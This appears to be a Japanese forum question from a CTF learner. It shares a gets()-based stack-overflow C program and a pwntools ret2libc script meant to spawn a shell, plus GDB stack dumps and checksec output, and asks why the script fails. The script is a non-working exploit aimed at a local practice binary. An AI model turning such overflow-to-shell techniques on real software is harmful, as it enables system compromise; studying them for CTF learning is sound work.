前提
CTFを勉強中です。
以下のC言語で書かれたコードの実行ファイルに攻撃してシェルを奪いたいです。
しかし、うまくいかず、何が間違っているのかもわからないため、私の攻撃ソースコードの何が間違っているのかを教えてください。
どうかお願いいたします。
#include <stdio.h> int main(){ char buf[10]; printf("buf : %p\n",buf); gets(buf); return 0; }
実現したいこと
$python3 exploit.py [+] Starting local process './a.out': pid 30487 b'buf : 0x7fffffffdee6\n' [*] Switching to interactive mode $ ls a.c a.out exploit.py $
このような出力を得たい。
発生している問題・エラーメッセージ
実際は以下のような出力になり、実行直後にinteractive modeは終了している。
$python3 exploit.py [+] Starting local process './a.out': pid 31577 b'buf : 0x7fffffffdee6\n' [*] Switching to interactive mode [*] Got EOF while reading in interactive $ [*] Process './a.out' stopped with exit code 2 (pid 31577) [*] Got EOF while sending in interactive Traceback (most recent call last): File "e.py", line 16, in <module> with process(bin_name) as tubu:solv(tubu) File "/home/kohuku/.local/lib/python3.8/site-packages/pwnlib/tubes/tube.py", line 1290, in __exit__ self.close() File "/home/kohuku/.local/lib/python3.8/site-packages/pwnlib/tubes/process.py", line 746, in close fd.close() BrokenPipeError: [Errno 32] Broken pipe
攻撃プログラム
今回失敗した攻撃プログラムは以下の通り
python3
1from pwn import * 2 3bin_name="./a.out" 4context.arch='amd64' 5 6def solv(p): 7 s=b"/bin/sh"+pack(0x00)+b'A'*3 #systemの引数を入力、mainのretまでAで埋める 8 s=s+pack(0x40101a) #スタックアラインメントを調整するためのropgadget(ret) 9 s=s+pack(0x7ffff7e1e290) #<_libc_system>のアドレス 10 s=s+pack(0x7ffff7e12a40) #<_libc_system>のリターンアドレス。今回は<_GI_exit> 11 s=s+pack(0x7fffffffdee6) #<_libc_system>の引数。bufのアドレス 12 print(p.recvline()) #bufのアドレスを表示 13 p.sendline(s) 14 p.interactive() 15 16with process(bin_name) as tubu:solv(tubu)
試したこと
各アドレスは間違っていないと思う。
mainのret直前のstackをGDBで確認した。
[-------------------------------------code-------------------------------------] 0x401186 <main+48>: call 0x401060 <gets@plt> 0x40118b <main+53>: mov eax,0x0 0x401190 <main+58>: leave => 0x401191 <main+59>: ret 0x401192: nop WORD PTR cs:[rax+rax*1+0x0] 0x40119c: nop DWORD PTR [rax+0x0] 0x4011a0 <__libc_csu_init>: endbr64 0x4011a4 <__libc_csu_init+4>: push r15 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffde98 --> 0x40101a (<_init+26>: ret) 0008| 0x7fffffffdea0 --> 0x7ffff7e1e290 (<__libc_system>: endbr64) 0016| 0x7fffffffdea8 --> 0x7ffff7e12a40 (<__GI_exit>: endbr64) 0024| 0x7fffffffdeb0 --> 0x7fffffffde86 --> 0x68732f6e69622f ('/bin/sh') 0032| 0x7fffffffdeb8 --> 0x401100 (<register_tm_clones+32>: add BYTE PTR [rax],al) 0040| 0x7fffffffdec0 --> 0x4011a0 (<__libc_csu_init>: endbr64) 0048| 0x7fffffffdec8 --> 0x25e74a72b6a58b10 0056| 0x7fffffffded0 --> 0x401070 (<_start>: endbr64) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0x0000000000401191 in main () gdb-peda$
補足
ASLRは無効になっており、その他のセキュリティ機構は以下のようになっています。
$checksec --file=a.out Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)